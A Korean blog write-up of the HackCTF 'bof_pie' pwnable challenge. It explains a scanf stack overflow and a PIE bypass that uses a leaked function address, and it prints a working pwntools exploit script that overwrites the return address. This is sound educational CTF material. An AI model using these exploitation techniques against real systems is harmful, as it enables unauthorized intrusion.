문제 풀이 환경 : ubuntu 20.04 |
PIE 먹고 싶다.
주어진 파일은 문제 바이너리 파일 하나 뿐
Analysis
IDA로 까보자.
scanf는 전형적으로 bof가 발생하는 함수이다.
j0n9hyun 함수에서 flag를 읽어오는데 마침 bof도 일어나니 RET를 저 함수의 주소로 바꾸어주면 될 것 같다.
실행을 해보면 welcome 함수의 주소가 출력이 되는데 끝에가 909로 일정하지만 계속 랜덤하게 주소를 출력하고 있다.
그 이유는 gdb로 welcom함수의 주소를 읽어보면 저런식으로 매우 작은 주소로 설정이 되어 있는데, 주소공간의 어느 위치에 매핑되어도 작동하도록 상대주소로 되어있다는 뜻이다. 아무튼 PIE 보호기법이 설정되어있다는 것을 의심을 할 수 있다.
쨋든 보호기법을 살펴보면 PIE가 설정되어있는 것을 확인할 수 있다.
How to exploit
위에서 다 말한 것 같지만 다시 정리해본다.
BOF가 일어나니 RET에 j0n9hyun 함수의 주소를 넣어주면 된다.
이 때 PIE 보호기법이 걸려있으니 j0n9hyun 함수의 주소는 welcome 함수와의 거리를 이용하여 구한다.
아 참고로, welcome 함수는 친절하게 출력이 된다. p.recv로 받아오면 될 듯 하다.
PIE 보호기법이 걸려있다보니, 주소값으로 디버깅하기 힘들어서 저런식으로 디버깅하였다.
welcome 함수와 j0n9hyun 함수의 거리는 0x79만큼 차이가 난다.
Let's exploit
from pwn import *
#p = process('./bof_pie')
p = remote('ctf.j0n9hyun.xyz', 3008)
e = ELF('./bof_pie')
p.recvuntil('j0n9hyun is ')
welcome_addr = int(p.recv(10), 16)
print hex(welcome_addr)
j0n9hyun_addr = welcome_addr- 0x79
payload = ''
payload += 'A' * 0x12
payload += 'BBBB' #SFP
payload += p32(j0n9hyun_addr)
p.sendline(payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] RTL_World 풀이 (32bit, RTL) (0) | 2021.03.16 |
---|---|
[HackCTF : Pwnable] Yes or no 풀이 (64bit, ROP) (미완) (0) | 2021.03.15 |
[HackCTF : Pwnable] Offset 풀이 (32bit, BOF) (0) | 2021.03.09 |
[HackCTF : Pwnable] Simple_Overflow_ver_2 풀이 (32bit, shellcode) (0) | 2021.03.09 |
[HackCTF : Pwnable] x64 Simple_size_BOF 풀이 (64bit, shellcode) (0) | 2021.03.09 |